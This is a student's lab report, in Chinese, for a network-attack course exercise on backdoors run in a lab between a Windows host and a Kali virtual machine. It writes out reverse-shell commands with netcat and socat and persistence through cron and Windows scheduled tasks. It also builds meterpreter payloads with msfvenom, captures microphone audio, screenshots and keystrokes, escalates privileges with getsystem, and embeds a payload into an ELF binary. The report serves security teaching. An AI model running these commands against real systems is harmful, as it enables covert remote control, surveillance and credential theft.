2019-2020-2 20175208 张家华 网络对抗技术 Exp2 后门原理与实践
实验内容
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 捆绑在下载的软件或者在浏览网页的某些链接中,或者被绑定了后门,当下载或者误点链接时就带到了自己的系统中
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win中可以与某些自启动项(如:后门)绑定,开机时自动启动将后门程序与正常软件绑定,用户使用软件使启动。
- Linux可以通过cron启动:通过
crontab -e
修改任务计划表,插入启动指令。 - 通过修改注册表,设置后门程序自启动。
(3)Meterpreter有哪些给你映像深刻的功能?
- 获取目标的摄像头,录音机等权限进行拍摄、录音记录
- 可以监控目标的许多行动,感到很可怕
(4)如何发现自己有系统有没有被安装后门?
- 查看系统的自启动项,注册表有无异常
- 查看进程有无异常
- 查看端口有无异常
- 开启防火墙
- 开启杀毒软件
实验过程
实验准备及常用后门工具了解或测试
ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备
- 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
- 在老师提供的附件中下载
ncat.rar
windows(ipconfig):196.168.1.5
kail(ifconfig):196.168.233.131
windows获取linux Shell
- 在windows中用ncat打开一个监听端口,端口号5208
ncat.exe -l -p 5208
- 在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口
nc 192.168.1.5 5208 -e /bin/sh
- 进入主机,通过命令ls/或其他,验证运行kail的shell
linux获取Windows shell
- 具体流程和上述差不多:kail下设置端口
nc -l -p 5208
,Windows下设置反向链接ncat.exe -e cmd.exe 192.168.233.131 5208
- 在kail中运行cmd.exe命令
通过nc在两者间传输数据
-
直接传输文字:主机下建立监听端口5208
ncat.exe -l 5208
,kail下建立连接至主机端口nc 192.168.1.5 5208
,建立成功后可进行文字传输 -
传输文件:Windows下建立端口同时定义接收地址
ncat.exe -l 5208 > file.in
,kail下创建测试文件file.out
,连接至主机进行文件输送nc 192.168.1.5 5208 < file.out
socat
- 其是ncat的增强版
- 使用格式:
socat [options] <address> <address>```,
address是必选项,而
options``是可选项 - 在后面任务二有具体应用,可先到老师提供附件下载
socat.rar
Meterperter
- 后门就是一个程序
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 详细点击链接
任务一、使用netcat获取主机操作Shell,cron启动
- 同准备阶段,在Windows中设立监听端口
ncat.exe -l -p 5208
- 通过百度或者
man cron
(看得懂的话)了解到:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行。 - 利用
crontab -e
指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3
即为vim编辑器
crontab -l
可查看编辑情况-
增加命令为
24 * * * * /bin/netcat 192.168.1.5 5208 -e /bin/sh
即为每个小时的第24分钟时执行后方命令(数字填写以自己做实验的时间来定) -
当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的
任务二、使用socat获取主机操作Shell, 任务计划启动
-
在Windows系统下,打开
控制面板->系统和安全->管理工具
找到任务计划程序开始创建任务 -
点击
触发器
选项卡,选择新建
,然后将开始任务设置为工作站锁定
时 -
点击
常规
选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5208 exec:cmd.exe,pty,stderr
(两个参数之间用空格或者;),这个命令的作用是把cmd.exe
绑定到端口5208
,同时把cmd.exe
的stderr
重定向到stdout
上:
-
创建完成之后,
windows+L
锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.1.5:5208
这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5208
端口,此时可以发现已经成功获得了一个cmd shell
-
在做任务二时可以新建
触发器像任务一一样定时完成,任务开始执行后命令和上面一样
任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -f exe > 20175208_backdoor.exe
此时因为在控制端生成后门,所以此ip为kail的ip地址
- 同准备阶段:将生成的后门程序传输到主机
- 在主机下执行
ncat.exe -l 5208 > 201725208_backdoor.exe
-
在kali中通过
nc 192.168.1.5 5208 < 20175208_backdoor.exe
将生成的后门程序传送到主机上 -
回到控制端,通过命令
msfconsole
进入控制台 - 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.233.131
set LPORT 5208
- 设置完成,执行监听
exploit
- 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell
任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 保持任务三,之后进行任务四操作
-
使用
record_mic
指令截获一段音频 -
使用
screenshot
指令可以进行截屏 -
在kali中使用
keyscan_start
指令开始,在windows中记录下击键的过程,使用keyscan_dump
指令读取击键的记录 -
先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权(提权操作可在别的win7虚拟机下进行)
任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
- 此任务在通过学习老师给的资料及[学姐的博客](https://www.cnblogs.com/clever-universe/p/8691365.html)得以完成
- 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为
linux/x86/meterpreter/reverse_tcp
可通过命令msfvenom -l payload
- pwn1是ELF文件,查看pwn1是多少位的:
readelf -h pwn1
Magic后第五个值是01,表明pwn1是32位的。(64位对应值02)
- 打开MSF:
msfconsole
- 查看payload:
show payloads
选择linux/x86/meterpreter/reverse_tcp
-
通过命令生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -x pwn1 -f elf > overdoor_2_5
- 因为我们需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中。
-
最后就是按照之前的步骤使用两个终端检验后门程序的注入情况
不过这个程序需要``chmod +x``修改一些程序权限后门才能运行
实验总结
(一)实验过程中遇到的问题:
一、虚拟机里未安装USB无线网卡驱动,使得无法拍照/录像:
解决办法:
1.安装内核源代码(需要联网)。
apt-get install linux-source
2.安装内核头文件(需要联网)。
apt-get install linux-headers-$(uname -r)
3.安装编译环境(需要联网) 。
apt-get install build-essential
4.下载驱动解压后,cd到驱动目录下,然后make命令编译,然后再用make install命令安装,最后重启。
命令如下:
git clone https://github.com/porjo/mt7601.git
cd mt7601/src
make
make install
reboot
5.重启后运行ifconfig后可以看到新增了一个ra0就是无线网卡
详情请见:
安装内核源代码(需要联网)。
apt-get install linux-source
安装内核头文件(需要联网)。
apt-get install linux-headers-$(uname -r)
安装编译环境(需要联网) 。
apt-get install build-essential
下载驱动解压后,cd到驱动目录下,然后make命令编译,然后再用make install命令安装,最后重启。
命令如下:
git clone https://github.com/porjo/mt7601.git
cd mt7601/src
make
make install
reboot
重启后运行ifconfig后可以看到新增了一个ra0就是无线网卡
详情请见:https://blog.csdn.net/swjtu100/article/details/50543260
二、无法安装内核头文件:
解决办法:
1.先更新数据:
apt-get update
2.执行
apt-cachesearch linux-
3.查看一下列表中的
linux-headers-xxx linux-image-xxx
4.然后apt-get install 安装就是了
详情请见:https://blog.csdn.net/Mike_Roger/article/details/79180512
三、后门文件建立成功后无法运行:
解决办法:
1、首先进入开始菜单,然后在菜单中找到控制面板,单击控制面板这个选项进入控制面板窗口界面
2、进入到控制面板界面,在这个界面上可以看到系统自带的控制面板选项,找到Windows防火墙选项并单击它
3、接着就进入了在Windows防火墙主页面,在这个主页面左上方找到允许程序或功能通过防火墙,然后单击这个选项
4、这时候就到了允许程序通过Windows防火墙通信界面,这个界面上我们可以添加或者删除程序
5、添加要通过防火墙通信的软件单击允许运行另一程序,这时候弹出来一个框,在框中上下移动选择你要添加的软件程序,选中这个程序然后单击添加按钮即可
详情请见:https://jingyan.baidu.com/article/215817f7ee24a01eda1423a6.html
(二)实验感想:
本次实验过程中除了电脑偶尔卡机、虚拟机偶尔崩、虚拟机的配置有点问题外其他的还都挺好的。。。。
本次实验前老师讲了一部分,说全是操作,我以为很好完成,结果。。。花费的时间比第一次长的多。
其次,感觉还是手动做实验更容易吸收一些知识点,做完实验后感觉学到了很多
最后,通过本次试验深刻体会到了攻击的可怕与强大,突然就感觉自己电脑里由很多的后门。不过这东西自己玩玩还是很有意思的。